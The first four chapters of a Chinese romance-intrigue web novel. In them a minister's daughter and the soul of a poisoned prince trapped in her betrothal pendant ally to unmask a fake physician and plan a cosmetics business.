《大婚前,我被夫君的弟弟上身了》
第1章 滚出去!
“滚,你给我从脑子里滚出去!”
沈琉璃披头散发地缩在墙角,用尽全身力气发出了一声嘶吼。
她快疯了。
就在白日里,大徽王朝的聘礼刚刚送到。
她无力地看着继母与妹妹瓜分了本该属于她的聘礼,最终,只带着一枚黑不溜秋的铁疙瘩,回到了自己的院子。
刚刚,她还坐在梳妆台前,一遍遍地,摩挲着那枚坠子,他们说这叫“孤狼坠”,也是她从自己的聘礼里,唯一拿回来的物件。
坠子上狼首的雕刻棱角分明,一个不留神,锋利的边缘便在她娇嫩的指尖上,划开一道细小的口子。
不等她反应,指尖的血液便渗入了玄铁的纹路。
她的整个世界,轰然颠覆!
一个男人的声音,一个暴怒的男人的声音,就像一把烧红的烙铁,硬生生地捅进了她的脑子里!
“这是何处,妖术,这是什么妖术?”那声音在她的颅内疯狂咆哮,带着滔天的怒火,“我的头,我的身体,该死,是谁在暗算本王?”
“鬼,鬼啊!”沈琉璃吓得魂飞魄散,抱住脑袋,拼命地想把那个声音甩出去,她这辈子听过最可怕的鬼故事,也不及眼前这万分之一的恐怖。
她手里的孤狼坠变得冰冷刺骨,仿佛一块来自九幽地府的寒铁,可无论她怎么用力,都无法将它从掌心甩开。
“放手,你这女人,是你,是你对不对!”那声音的怒火找到了宣泄口,全部对准了她,“是你用了什么巫蛊之术,将本王囚于此地,说,你到底是谁的人?”
“我不是,我没有,我不知道。”沈琉璃语无伦次,鼻涕眼泪流了一脸,浑身颤抖,“我求求你,你去找别人吧,我家里还有个妹妹,她比我好看,比我有钱,你去找她吧,我什么都没有!”
“找你妹妹”?那声音似乎被她这毫无逻辑的求饶给弄得一滞,随即怒火更盛,“本王要找的是仇人,不是女人。你这满脑子浆糊的蠢货,快说,此地究竟是何处?”
“呜呜呜……是尚书府,我爹是吏部尚书,我叫沈琉璃。”
“尚书府?”那声音充满了鄙夷,“一个区区臣子的府邸,不对,这里不是大徽,这里是哪?”
“是……是乾国。”沈琉璃一边哭一边回道。
“乾国,本王为何会到乾国来?”那声音陷入了短暂的迷茫,随即,一股带着恐惧的猜测浮现出来,“等等,本王最后失去意识的地方是北朔关的帅帐,那杯茶……”
他的声音越来越低,越来越冷。
而沈琉璃,也终于从极致的恐惧中,缓过神来……
交流……只要还有的聊,或许就还有活命的机会。
“你……你冷静一点……”她鼓起勇气,用颤抖的声音说,“我们有话好好说……”
“本王很冷静!”那声音,听起来像是从冰窖里发出来的,“现在,你回答本王一个问题:今天,是乾元多少年,何月何日?”
为了活命,沈琉璃不敢有丝毫隐瞒,连忙答道:“乾元二十二年,六月初七。”
“六月初七……”
“本王记得,在帅帐中,毒发身亡的那天,是初三。”
“原来……本王已经当了整整四天的孤魂野鬼了。”
他想起来了,那杯滚烫的茶,那穿心而过的剧痛。
以及,他倒下前,最信任的亲兵脸上,那抹一闪而过的复杂神情。
他被人毒杀了,就在他自己的帅帐中,无声无息。
可……不对。
君北玄的灵魂瞬间掀起了惊涛骇浪。
如果他已经死了,为何这个身在乾国京城的女子,对此一无所知?
为何她只知道他是“戍边王爷”,而不是“已故的肃王”?
这意味着,他的死讯,根本没有传出去!
北境没有乱,大徽王朝的京城也没有收到任何关于他“死亡”的消息!
陆风!
一定是陆风!
君北玄瞬间明白了过来,他最忠心的亲卫统领,在他死后,用雷霆手段封锁了消息。
他正用自己还“活着”的赫赫威名,震慑着蠢蠢欲动的内外之敌,苦苦维持着北境那摇摇欲坠的平衡!
想通了这一层,君北玄心中非但没有半分安慰,反而涌起了更加刺骨的不甘。
他的部下还在前线,枕戈待旦,用生命来维持着一个他还活着的假象。
而他,堂堂肃王君北玄,大徽的北境之狼,却只能被困在这方寸之间的铁坠里,像个孤魂野鬼,什么也做不了!
这种无力感,比直接的死亡,更让他痛苦万分!
这股滔天的恨意,瞬间化作了实质性的精神冲击,狠狠地撞向沈琉璃的意识!
沈琉璃只觉得眼前一黑,仿佛被人用铁棍迎面痛击,她闷哼一声,直挺挺地向后倒去,然后就失去了知觉。
在她昏迷前的最后一秒,她脑中只剩下一个念头:这下死定了。
……
不知过了多久,沈琉璃才从一片混沌中悠悠转醒。
窗外天光微亮,她还躺在冰冷的地板上,浑身酸痛。
有那么一瞬间的恍惚,她以为昨晚的一切,都只是一场无比真实的噩梦。
“醒了?”
一个不带丝毫感情的声音,平静地在她脑海中响起。
沈琉璃浑身一僵。
不是梦。
她猛地坐起,环顾四周,房内空无一人,只有她自己,和仍然紧紧攥在手里的那枚孤狼坠。
“很好!”那声音好像对她的反应还算满意,“既然醒了,那我们就可以开始谈了。”
经过一夜的时间,君北玄显然已经接受了自己惨死的现实,并从最初的狂怒中冷静了下来,恢复了他作为一代战神的理智。
沈琉璃咽了口唾沫,背靠着墙壁,警惕地“听”着。
“第一,本王叫君北玄。”
“第二,本王遭人毒杀,魂魄被困于你手中这枚坠子里。”
“第三,也是最重要的一点。”他的声音顿了顿,带着不容置疑的命令,“从现在起,你,沈琉璃,就是本王在这世上唯一的‘眼睛’和‘手脚’。你的首要任务,就是协助本王,查明真相,手刃仇敌。”
沈琉璃听完他这番话,沉默了片刻,然后试探着问:“那我,有什么好处吗?”
君北玄好似没想到她会这么问,冷哼一声:“能为本王效力,就是你天大的荣幸。”
“哦,那这份荣幸我不要,我让给我妹妹。”沈琉璃说道。
“你!”
“你什么你!”熬过最初的恐惧后,沈琉璃的胆子也大了起来,“君北玄,你搞搞清楚,现在是你被困在我的聘礼里,是我在‘掌控’你,而不是你命令我。咱们俩,你是囚犯,我是狱卒,囚犯跟狱卒谈条件,是不是应该拿出点诚意来?”
“有意思……”君北玄的声音里透出几分玩味,“一个深闺弱女,竟有这般胆色,可惜,你好像还没搞清楚一件事。”
话音刚落,沈琉璃只觉得太阳穴“嗡”的一声,像是被无数根钢针狠狠扎了进去,剧痛瞬间席卷了她全身!
“啊!!”她惨叫一声,抱着头在地上打滚。
“本王虽被困于此,但你我的神魂已因血为媒而相连,本王固然无法离开,却能让你尝遍这世间所有的痛苦!”君北玄的声音如同恶魔的低语,“现在,你还觉得,你是‘狱卒’吗?”
剧痛来得快,去得也快。
沈琉璃趴在地上,大口大口地喘着粗气,浑身都被冷汗浸透了,她终于明白,自己面对的,是一个何等可怕的存在。
妥协?认命?
不!
沈琉璃的眼中闪过一抹狠戾,她挣扎着爬起来,一把抓起那枚孤狼坠,踉踉跄跄地冲到烛台边,将坠子直接凑到了跳动的火焰上!
“你干什么?”君北玄的声音带上了惊慌。
“不干什么,”沈琉璃咬着牙,忍着手中传来的灼热,脸上露出疯狂的笑容,“你让我不好过,我就让你更不好过,你不是魂魄吗?我倒要看看,是你的魂魄硬,还是这三昧真火硬,大不了,咱们就同归于尽。”
一股灼烧灵魂的痛楚传来,君北玄倒吸一口冷气。
这个女人,是个疯子,一个不按常理出牌的疯子!
“住手!”他厉声喝道。
“那你还用头痛折磨我吗?”沈琉璃毫不退让。
“不,了……”君北玄从牙缝里挤出两个字。
沈琉璃这才将坠子从火焰上拿开,她看着自己被烫得发红的手心,又看了看那枚滚烫的坠子,忽然觉得,这世道也没那么绝望。
起码,她手里,握着能和这个魔鬼同归于尽的“武器”。
“好了王爷,”她重新坐回谈判桌前,脸上带着微笑,“现在我们可以好好谈谈我们的‘合作’了吧?”
君北玄沉默了,他第一次尝到了什么叫“阶下囚”的滋味。
他,一代战神,竟被一个黄毛丫头,用一根蜡烛,就夺走了所有的主动权,也包括自己的尊严。
他意识到,自己想把这个女人当成傀儡,恐怕是行不通了。
这个女人,是他的“狱卒”,更是“魔鬼”。
第2章 一封鬼信
经过一夜的混乱、惊恐、对峙与试探,当清晨的阳光再次洒满房间时,沈琉璃和君北玄之间,终于达成了一种极其微妙的平衡。
他不再用精神攻击来折磨她,她也不再用“同归于尽”来威胁他。
两人,或者说一人一鬼,都清楚地意识到,他们现在是一根绳上的蚂蚱,在揭开所有谜团之前,谁也离不开谁。
“好了,现在我需要知道一切。”沈琉璃坐在梳妆台前,看着铜镜里自己那张憔悴却异常平静的脸,在心里说道。
这是她第一次,主动向君北玄发起“对话”。
“一切的范围太广,”君北玄的声音在她脑中响起,照样冰冷,却少了几分昨夜的狂怒,多了几分理智,“具体点。”
“好,”沈琉璃深吸一口气,“第一个问题:你,真的是肃王君北玄?”
“如假包换。”
“第二个问题:你真的遭人暗算了?”
“没错!”君北玄的声音里透出刻骨的恨意,“一杯毒茶,断了本王心脉,若非我常年与毒物打交道,魂魄比常人坚韧,恐怕此刻早已烟消云散。”
听到肯定的答复,沈琉璃的心沉了下去,她知道,自己被卷入了一个天大的麻烦里。
“现在,轮到本王了。”君北玄反客为主,“你,沈琉璃,乾国吏部尚书之女,为何会与本王扯上关系,这枚”孤狼坠“,是我从不离身的信物,为何会出现在你的闺房?”
这正是沈琉璃也想知道的答案。
“因为一桩婚事,”沈琉璃缓缓道来,开始解释这一切的来龙去脉,“一场国婚。”
她将自己所知道的一切,都告诉了君北玄。
原来,为了平息两国边境长达数年的摩擦,大徽与乾国最终选择了最古老的方式,联姻。
大徽王朝的太子君怀瑾,将迎娶乾国尚书的嫡女沈琉璃,因为乾国王室没有适龄的公主。
而婚期,就定在一年之后。
“所以,你是本王未来的皇嫂?”君北玄的声音里带着几分古怪。
“理论上,是!”沈琉璃答道。
“那这坠子呢?”君北玄追问,“就算联姻,也该是太子府送来聘礼,与本王有何干系?”
“这就是最奇怪的地方,”沈琉璃的眉头也紧紧蹙起,“就在今天,大徽皇室送来了给我的聘礼,大部分都是以太子和皇室的名义,唯独这枚“孤狼坠”,是单独放在一个盒子里,并且,还附有一封信。”
“信,”君北玄的声音陡然锐利起来,“什么信?!”
“一封你写给我的亲笔信。”
“不可能,”君北玄断然否决,“本王从未给你写过信!”
“可那上面,有你的亲笔签名和私人印章。”沈琉璃从梳妆台的暗格里,取出了一封保存完好的信,信封由上好的澄心堂纸制成,火漆印完好无损,上面一个清晰的“玄”字印章,古朴而霸气。
她打开信封,将信纸展开。
上面的字迹龙飞凤舞,充满了军人的铁血与豪迈,内容却极其简洁:
“赠予未来皇嫂,北境苦寒,孤狼独行!愿此物能护你周全,在京城那座更大的‘沙场’上,安然无恙,君北玄!”
君北玄“看”着那熟悉的字迹,感受着那印章上属于自己的气息,陷入了长久的沉默。
他可以百分之百地确定,自己从未写过这封信。
他的”孤狼坠“,是在他“死亡”前一刻都挂在脖子上的信物,绝不可能送给任何人。
那么问题来了。
在他“死”后,是谁,拿走了他的坠子?是谁,模仿了他的笔迹,用了他的私印?将这份“礼物”连同一封意味深长的信,堂而皇之地放进了未来太子妃的聘礼之中。
他的目的又是什么?
一瞬间,无数个可怕的念头在君北玄脑中闪过,他第一次感觉到,自己面对的,是一个强大到无法想象的敌人。
这个敌人,不仅能在他守卫森严的军帐中取他性命,还能在他死后,从容不迫地布下如此精妙的后手。
这已经不是单纯的谋杀,而是一个大到无边的阴谋!
“喂!”沈琉璃感觉到他情绪的剧烈波动,小心翼翼地问,“你没事吧?”
“没事,”君北玄的声音压抑得仿佛一块万年寒冰,“只是没想到,本王这一生,竟活成了一个笑话。”
他不仅被人害死,甚至连死后,都成了别人棋盘上的一颗棋子。
而沈琉璃,这位即将嫁给太子的无辜女子,从收到这枚坠子的那一刻起,也身不由己地,被摆上了这张血腥的棋盘。
“沈琉璃……”君北玄用一种无比郑重的语气,叫着她的全名。
“在。”
“看来,我们之前的‘合作’协议,需要改一改了。”
“怎么改?”
“从现在起,我们不是‘囚犯’和‘狱卒’。”君北玄的声音里,充满了前所未有的凝重,“我们是真正的盟友,因为,那个想让本王万劫不复的敌人,现在,恐怕也已经盯上你了。”
君北玄充满了杀意的话,如同冰冷的铁索,将沈琉璃和他紧紧捆绑在了一起。
没错,从收到“鬼信”开始,她就不再是置身事外的棋子,而是已经被摆在了棋盘上,正对着一个看不见的敌人。
“盟友?”沈琉璃深吸一口气,强迫自己从震惊中冷静下来,她看着镜子里那张既熟悉又陌生的脸,在心里一字一顿地说道,“好,但盟友之间,需要绝对的坦诚,现在,我需要知道,你都怀疑谁?”
“怀疑?”君北玄冷笑一声,声音里充满了悲凉与自嘲,“本王现在,怀疑身边所有的人。”
他开始为沈琉璃剖析这盘血腥的棋局。
“这封信,字迹是我的,私印也是我的。能做到这两点,且能在我死后第一时间拿到我贴身之物的,只有寥寥数人。”
“第一,我的副将,常年跟随我左右,对我的一切了如指掌。”
“第二,我的亲兵,那杯毒茶,就是他亲手递给我的。”
“第三,我的幕僚,他掌管着我所有的文书往来。”
“甚至……”君北玄的声音沉了下去,“远在京城的,我的好兄弟们,太子君怀瑾,四皇子君非逸,他们任何一个人,都有可能在我身边安插了足以致命的棋子。”
沈琉璃静静地听着,只觉得一股寒气从脚底升起,每一个听起来忠心耿耿的人,都可能是幕后黑手,这位王爷的处境,比她想象的还要孤立无援。
“不,”沈琉璃忽然摇了摇头,提出了不同的看法,“你的思路,只局限在‘谁杀了你’,但这件事,远不止于此。”
“哦?”君北玄的声音里带上了一些兴趣。
“你只想着复仇,是武将的思维,可这件事,从它牵扯到我的那一刻起,就不再是单纯的谋杀,而是政治。”沈琉璃的思路变得异常清晰,“你想想,我是谁?我是乾国送去和亲的未来太子妃,而你,是太子最大的竞争对手。那个凶手,将你的私人物品,用一封暧昧不明的信,送到我的手上,这是什么行为?”
她顿了顿,一字一顿地说道:“这是在‘栽赃’,他在所有人的眼里,为你我之间,画上了一条看不见的线。他想让太子从一开始就忌惮我,想让大徽的后宫从一开始就排挤我,他想让我,成为你死后,仍然能给你那位好哥哥带去麻烦的一根刺。”
君北玄沉默了。
他戎马一生,精通战阵搏杀,却从未如此细致地思考过人心后宅里的弯弯绕绕,经沈琉璃这么一点拨,他瞬间想通了更多关节。
这个敌人,不仅要他死,还要污他名,更要在他死后,继续利用他的“存在”,搅乱朝局,为自己谋取最大的利益。
“好,好一个一石三鸟之计。”君北玄怒极反笑,“看来本王这位敌人,不仅手腕通天,还是个玩弄人心的高手。”
“所以,我们现在面对的,是一场战争。”沈琉璃看着镜中的自己,眼神坚定,“而我的闺房,就是我们的第一个沙盘。在抵达大徽京城之前,我必须在这里活下去,并且,要活得足够好,拥有足够的力量,否则,我们连上战场的资格都没有。”
“力量,”君北玄嗤笑,“凭你?一个连自己聘礼都保不住的弱女子。”
“以前是,”沈琉璃的嘴角,勾起一抹倔强的弧度,“但现在,我不是一个人了,我有了全天下最厉害的将军,当我的军师。”
这记马屁,似乎拍得君北玄很受用,他难得地没有反驳,只是冷哼了一声。
就在他们初步建立起“战争同盟”的这一刻,门外,传来了继母柳氏那矫揉造作的声音。
“琉璃,我的好女儿,昨日看你脸色不好,是不是身体哪里不舒服?母亲特地为你请了京城最有名的张太医来给你好好瞧瞧。”
说着,柳氏便领着一个山羊胡子、眼神精明的老者,推门而入。
沈琉璃的心,咯噔一下,沉入了谷底。
张太医?
京城所有叫得上名号的太医,她都略有耳闻……
却可以肯定,绝没有这么一号人物!
第3章 假太医
晚晴居内,气氛紧绷如弓弦。
沈琉璃将自己的手腕,藏入了宽大的衣袖中,不动声色地说道:“多谢母亲关心,女儿只是偶感风寒,睡一觉便好,实在不必劳烦张太医。”
“哎,你这孩子,就是太懂事,也太要强。”柳氏不由分说地走上前来,用一种不容拒绝的力道,按住了沈琉璃的肩膀,将她死死地按在了椅子上,“你马上就要嫁作太子妃了,身体可是万万金贵,不容有半点闪失,万一有什么隐疾,传到大徽去,岂不是让我们沈家蒙羞?”
她一边说,一边给那“张太医”使了个眼色。
“张太医”立刻会意,上前一步,捻着胡须,煞有介事地说道:“大小姐莫怕,老夫只是为您诊个平安脉,很快就好。”
沈琉璃的脑子飞速转动。
柳氏此举,绝非关心,而是试探,甚至是构陷!
这个所谓的太医,十有八九是她找来的托儿,只要他给自己诊脉,无论结果如何,他都能说自己“体虚气弱,不宜远嫁”,甚至更恶毒一点,可以说自己“心神不宁,恐有癔症”。
如此一来,柳氏便能名正言顺地以“为她调养身体”为由,拿走她所有的嫁妆,甚至,还能换成自己的亲生女儿沈清瑶去和亲!
好一招釜底抽薪!
“别让他碰你!”君北玄的声音在她脑海中响起,充满了警惕。
“我当然知道!”沈琉璃在心中焦急地回应,“可现在,我被她按着,根本躲不开!”
那“张太医”的手,已经伸了过来,眼看就要搭上她的手腕,君北玄冰冷的声音如同一道闪电,在她脑海中炸响。
“等一下,看他的手!”
沈琉璃的目光下意识地一凝。
“此人右手拇指与食指的指甲缝中,残留着淡淡的黄色,那是长期研磨雄黄和雌黄留下的痕迹。再看他左手小指,有一道被药水腐蚀的疤痕,那是处理水银不慎所致。”君北玄的语速极快,充满了不容置疑的判断力,“他根本不是什么医生,倒像个常年与金石毒物打交道的方士!”
沈琉璃的心,瞬间沉到了谷底。
果然,柳氏不仅是想污她名声,更是找来了一个可能对自己下黑手的人!
“他的眼神,”君北玄的声音继续在她脑中响起,如同最冷静的战场斥候,“在你母亲给他使眼色时,他的视线下意识地朝门口瞟了一眼,身体重心后移。这是心虚,是准备随时逃跑的姿态,他在害怕。”
电光石火之间,一个大胆的计划,在沈琉璃的心中成型。既然对方是骗子,那自己,就比他演得更像!
“啊——!”
就在“张太医”的手指即将搭上来的那一刻,沈琉璃猛地发出一声凄厉的尖叫,随即,整个人剧烈地咳嗽起来,咳得撕心裂肺,仿佛要把五脏六腑都咳出来。
“咳咳……咳咳咳……”她捂着胸口,身体剧烈地颤抖,一张小脸瞬间涨得通红。
“琉璃,你怎么了?”柳氏被这突如其来的变故吓了一跳,下意识地松开了手。
“张太医,快,快给她看看!”
那“张太医”也被这阵仗弄得一愣,正要上前,却见沈琉璃猛地抬起头,一双杏眼死死地盯着他,眼中充满了恐惧!
“毒……有毒……”她一边咳,一边用尽全身力气,从喉咙里挤出几个字,“你身上有毒!”
此言一出,满室皆惊!
那“张太医”的脸色“唰”地一下就白了,眼神中充满了恐慌。
君北玄在她脑中冷笑:“说下去,继续攻心,他已经乱了。”
沈琉璃得了指令,演得更加卖力,她颤抖地指着“张太医”,对柳氏哭喊道:“母亲,咳咳……他的手,我闻到了,是硫磺和乌头的味道,就跟我母亲当年养的那只猫,中的毒一模一样!”
这番话,完全是她根据君北玄的提示,胡编乱造的。
可听在那心虚的“张太医”耳朵里,却不亚于晴天霹雳!
硫磺、乌头,这些都是他药箱里常备的“猛料”,这个深闺大小姐,怎么可能知道得这么清楚,难道她看穿了自己的底细!
“你……你胡说八道!”“张太医”方寸大乱,下意识地反驳。
“我胡说?”沈琉璃仿佛受到了天大的委屈,哭声更大了,“那你敢不敢让我父亲来对质,你敢不敢把药箱打开让大家看一下。母亲你为何要找一个凶手来给我看病,难道你也要像对那只猫一样,对我……”
她没有把话说完,但那未尽之意,却像一把最锋利的刀子,狠狠地扎向了柳氏!
构陷即将出嫁的太子妃,甚至有“谋害”之嫌!
这顶帽子,太大了,大到足以压垮整个沈家!
“我没有,你血口喷人。”柳氏也彻底慌了神,她怎么也没想到,一出简单的“诊脉”,竟会演变成一桩“投毒”大案!
她看着眼前这个哭得梨花带雨的继女,从心底里升起了一股寒意。
这个小贱人,什么时候变得这么伶牙俐齿,这么心机深沉了?
她下意识地就想上前,捂住沈琉璃的嘴,将这场闹剧强行压下去。
然而,沈琉璃根本不给她这个机会!
她猛地一推柳氏,对着早已候在门外的春桃,用响彻整个院落的声音,厉声喊道:
“春桃!快!快去请父亲大人过来!就说母亲请来的‘神医’,要……要害死我!”
她这一声喊,如同平地惊雷,彻底击溃了那个假太医最后的心理防线。
眼见事情败露,甚至要惊动当家老爷,他哪里还敢停留?他惊恐地怪叫一声,推开众人,连自己的药箱都不要了,落荒而逃!
“啧啧。”君北玄的声音,在她脑中响了起来,“本王今日,可算是开了眼了。”
他顿了顿,用一种极其真诚的语气,问道:“本王有个问题,你们女人,是不是天生就会演戏?刚才那一下,声泪俱下,楚楚可怜,本王差点都要冲出去替你主持公道了。”
“演戏?”沈琉璃在心中,用一种更加无辜的语气,淡淡地回应,“王爷,您在说什么?刚才那不是……我们女孩子在遇到坏人时,最正常不过的反应吗?”
君北玄的灵魂,在她脑海中,陷入了长久的寂静。
他感觉,自己十多年在战场上建立起来的认知,都在这一刻,被眼前这个女人的几滴眼泪,给冲垮了……
沈从安来得很快,脸色铁青。
他一进门,看到的便是一片狼藉,女儿沈琉璃“虚弱”地靠在丫鬟春桃身上,脸色苍白。妻子柳氏则气急败坏的,指着地上被打翻的药箱,语无伦次地试图解释着什么。
“够了!”
沈从安一声怒喝,止住了柳氏的辩解。
他不是傻子,一个“太医”落荒而逃,妻子又如此失态,其中必有猫腻。他虽不喜参与后宅争斗,但事关即将远嫁的女儿、未来的太子妃,他不敢有丝毫大意。
经过一番连吓带审的盘问,几个知情的下人很快就将事情的来龙去脉交代得七七八八。
那所谓的“张太医”,不过是柳氏从外面找来的一个不入流的走方郎中,目的就是想坐实沈琉璃“体弱多病”,好名正言顺地接管她的嫁妆。
“你……你糊涂啊!”沈从安指着柳氏,气得手都在发抖,“琉璃现在是什么身份,她的身体状况,自有宫里的太医来查验。你找一个来路不明的江湖郎中,万一传出半点风言风语,影响了和亲,你担待得起吗?我们整个沈家,都担待不起。”
柳氏吓得跪在地上,哭哭啼啼地求饶,只说自己是一时糊涂。
沈从安看着她,眼中闪过深深的失望与厌恶,他冷冷地说道:“从今日起,你禁足于自己院中,没有我的允许,不准踏出半步。这府中管家之权,你也不必再管了!”
柳氏闻言,如遭雷击,瘫软在地。
沈从安没有再理她,而是走到沈琉璃面前,看着女儿那张消瘦的脸,眼中流露出几分愧疚。
他想起了亡妻临终前的嘱托,想起了自己这些年的疏忽……
他这个做父亲的,不仅没能为她遮风挡雨,到头来,竟还要亲手将她,送往那千里之外、前途未卜的虎狼之地。
他从管家手中拿过一串沉甸甸的钥匙和几本厚厚的账册,亲手交到了沈琉璃的手中。
“琉璃,这些年,是为父疏忽了你。”他沉声道,“出嫁之前,这府中中馈,以及你自己的嫁妆,都由你自己掌管,莫要再让人欺负了去。”
沈琉璃伸出双手,稳稳地接过了那串代表着尚书府内宅最高权力的钥匙。
钥匙入手,冰冷而沉重。
这一刻,她不再是那个任人拿捏的软弱嫡女,她是晚晴居的主人,是这尚书府的女主人,吊坠中还住着一个手握“兵权”,即将开疆拓土的“将军”。
第4章 财富之路
是夜,晚晴居内,灯火通明。
厚厚的几本账册,被摊开在桌上,春桃早已在一旁的小榻上打起了瞌睡,而沈琉璃,却毫无睡意,她的指尖,正顺着一行行数字,缓缓划过,眉头,越锁越紧。
“如何?”君北玄的声音在她脑中响起。
“不容乐观,”沈琉璃的眉头紧锁,“府中账目一团乱麻,柳氏这些年,从中贪墨了不少,而我家那些铺子,更是连年亏损,早已是个空壳子了。”
“意料之中,”君北玄对此毫不意外,“一个只知争风吃醋的女人,能管好什么家?”
“但这也是一个机会,”沈琉璃的眼中,却闪烁着兴奋的光芒,“这些亏损的铺子,就像一片荒芜的土地,无人问津,正好,可以让我大展拳脚。”
她终于说出了自己的野心。
君北玄沉默了片刻,问道:“你想怎么做?”
“我需要钱,很多很多的钱。”沈琉璃在纸上写下了一个“钱”字,“有了钱,才能有人脉,有了人脉,才能有情报。我需要知道,大徽王朝的京城里,到底是个什么龙潭虎穴;我需要知道,太子君怀瑾,是个什么样的人;我更需要知道,那个在背后操纵一切的敌人,到底是谁?”
“想法不错,但你一个深闺女子,如何赚钱?”君北玄问道。
“这就是我需要你这位‘军师’的地方了,”沈琉璃抬起头,目光灼灼地“看”向那枚孤狼坠,“你常年行军打仗,对天下地理、商路往来,一定了如指掌,告诉我,做什么生意,最赚钱?”
君北玄似乎被她这副“求知若渴”的模样取悦了,他沉吟片刻,缓缓说道:“天下熙熙,皆为利来,最赚钱的生意,无外乎几样:盐、铁、茶、丝。盐铁乃朝廷管制,你碰不得,丝绸,你那几个铺子,早已被几大绸缎庄挤得没有活路了。”
“那就只剩下茶了?”
“不,”君北玄的声音里,带上了几分运筹帷幄的笑意,“本王说的,是比这些更赚钱,也更隐秘的东西。”
“是什么?”沈琉璃好奇地追问。
君北玄一字一顿地说道:“是‘美’,更准确地说,是女人的美。”
“美?”
“没错!”君北玄解释道,“北境有一种特殊的雪山玫瑰,数量稀少,当地人用来入药,有活血化瘀之效。但本王偶然发现,若将其花瓣碾碎,以特殊方法提纯,制成膏脂,涂抹于面,可让肌肤在三日之内,变得吹弹可破,光彩照人。”
“这东西,若是在你们乾国贵妇圈中传开,你觉得,她们愿意花多少钱来买?”
沈琉璃的眼睛,瞬间亮得如同天上的星辰!
“财富之路”。
当沈琉璃在灯下写完这四个字时,仿佛已经看到了一条由黄金铺就的康庄大道,正在自己脚下缓缓展开。
但君北玄的声音,却像一盆冷水,及时地浇了下来。
“路是好路,但你似乎忘了,任何一条通往宝藏的路上,都充满了艰难险阻。”
沈琉璃抬起头,目光灼灼:“我不怕,我只怕,连一条路都找不到。”
“很好!”君北玄的声音里,带上了几分赞许,“既然要上战场,那便要先了解你的武器和你的敌人,我们先从‘武器’开始。”
他开始详细地为沈琉璃讲解那款“雪山玫瑰”膏脂的制作方法。
“此物,本王姑且称之为‘北境之霜’。”
“这名字也太难听了!”沈琉璃毫不客气地打断了他。
君北玄的灵魂似乎被噎了一下,冷哼道:“名字不重要,配方才重要,你给我听好了:主料,是北境雪山上独有的红玫瑰。”
“辅料有三,其一,雪狐的油脂,性温、质纯,可让膏体细腻,易于吸收;其二,天山雪莲的根茎粉末,用以中和玫瑰的燥性,防止过敏;其三,是一种名为‘冰蚕丝’的提取物,用以锁住膏体的水分与灵气,让其经久不散。”
他将配方、比例,甚至熬制的火候都说得清清楚楚,仿佛一张军用地图般精准。
沈琉璃一边听,一边用笔记下,越听,眉头却皱得越紧。
待君北玄说完,她放下了笔,指着纸上的清单,提出了三个致命的问题。
“第一,货源。这些东西,除了‘冰蚕丝’我曾在南方的草药集上听过,其他三样,全是北境独有之物,我在乾国京城,远隔千里,去哪里找?”
“第二,生产。熬制膏脂,需要专门的场地,动静不小。我在这深宅大院中,耳目众多,稍有不慎,就会被人发现。我总不能在自己的闺房里,支起一口大锅炼药吧?”
“第三,也是最重要的一点,敌人。”她用笔,重重地圈出了一个名字,“京城最大的胭脂水粉铺,‘百花阁’。它的东家,是宫里丽妃的娘家,我们一旦推出新品,第一个要面对的,就是它的疯狂打压。我们对它,一无所知。”
君北玄沉默了。
他不得不承认,这个他之前并未放在眼里的深闺女子,思维之缜密,眼光之长远,远超他的想象,她提出的每一个问题,都直指要害。
“你说的对……”半晌,君北玄缓缓开口,“本王久在沙场,只知攻城略地,却忘了‘知己知彼,百战不殆’。看来,在制造武器之前,我们得先去侦察一下敌军的阵地。”
翌日,沈琉璃便以“为出嫁采买新衣”为由。带着春桃,乘坐马车,来到了京城最繁华的朱雀大街。
她的目的地,正是那座雕梁画栋的“百花阁”。
一进门,一股浓郁的香气便扑面而来,熏得人有些头晕。店内的伙计个个衣着光鲜,笑容可掬,前来光顾的,无一不是衣着华丽的贵妇与千金。
“这里的装潢,俗不可耐。”君北玄在她脑中发出了不屑的评价,“金玉堆砌,毫无格调,活像个暴发户的客厅。”
“这里的伙计,笑容虚伪,眼神势利。”君北玄继续毒舌,“一看便知是按人下菜碟,你今天穿得这么素净,定会被她们怠慢。”
果不其然,一个伙计懒洋洋地迎上来,见沈琉璃主仆二人衣着普通,脸上的笑容立刻淡了三分:“二位想看点什么?我们这儿的东西,可都贵着呢。”
春桃气得脸都红了,正要发作,却被沈琉璃一个眼神制止了。
沈琉璃微微一笑,轻声道:“我听闻贵店的‘玉肌膏’乃是镇店之宝,想开开眼界。”
那伙计见她直奔最贵的产品,态度才稍稍好转,从一个锦缎铺就的柜台里,小心翼翼地捧出一个白玉制成的小圆盒。
“小姐您真是好眼光,这玉肌膏,乃是采集百花之精华,由宫廷秘方制成。一小盒,承惠,纹银五十两。”
五十两!
春桃倒吸一口冷气,这都够寻常百姓家几年的开销了!
沈琉璃却面不改色,接过那玉盒,打开闻了闻,一股浓郁的香气下,是一股廉价的油脂味道。
“金玉其外,败絮其中。”君北玄冷冷道,“这东西,成本不会超过二两银子,你们女人家的钱,可真好赚。”
沈琉璃心中有数,正准备付钱买下,回去研究,一个带着几分刻薄的声音,忽然从她身后响起。
“哟,我当是谁呢,这不是我们尚书府,未来的太子妃,沈大小姐吗?”
沈琉璃转过身,看到了一张厌恶的脸。
来人正是她父亲的死对头,当朝礼部侍郎苏振的女儿,苏晚晚。
苏晚晚是京城有名的交际花,也是“百花阁”最忠实的拥趸,她上下打量了沈琉璃一番,见她衣着朴素,眼中立刻露出了鄙夷之色。
“沈姐姐,你也对这些胭脂水粉感兴趣了?”苏晚晚故作惊讶地掩嘴笑道,“我劝姐姐还是省省吧,这‘百花阁’的东西,是给我们这些需要时常抛头露面的人准备的。像姐姐你这样,平日里大门不出二门不迈的,用这么好的东西,岂不是浪费了。”
她的话,引来了周围几个贵女的窃笑。
谁不知道,沈琉璃在尚书府的处境,名为嫡女,实为透明人。性子沉闷,不善交际,在京城贵女圈里,几乎没有半点存在感。
春桃气得浑身发抖,自家小姐受辱,比打她还难受。
沈琉璃的脸上,挂着那抹淡然的微笑,她将那盒五十两银子的玉肌膏轻轻放回柜台,对着那伙计摇了摇头。
然后,她转过头,迎上苏晚晚挑衅的目光,用一种不大不小,却足以让周围人都听清的音量,轻声说道:“苏妹妹说笑了,我今天来,本就不是为了买东西。”
她顿了顿,眼中闪过令人捉摸不透的光芒。
“我只是好奇,来看看,如今这京城里,究竟是什么样的东西,能被人称之为‘顶级珍品’。”
沈琉璃那句云淡风轻的话,像一记无声的耳光,扇在了苏晚晚和“百花阁”所有人的脸上。
苏晚晚的笑容僵住了,她还想再说些什么,却发现沈琉璃已经带着侍女,转身离开了,自始至终,没有半分动怒,也没有半分狼狈。
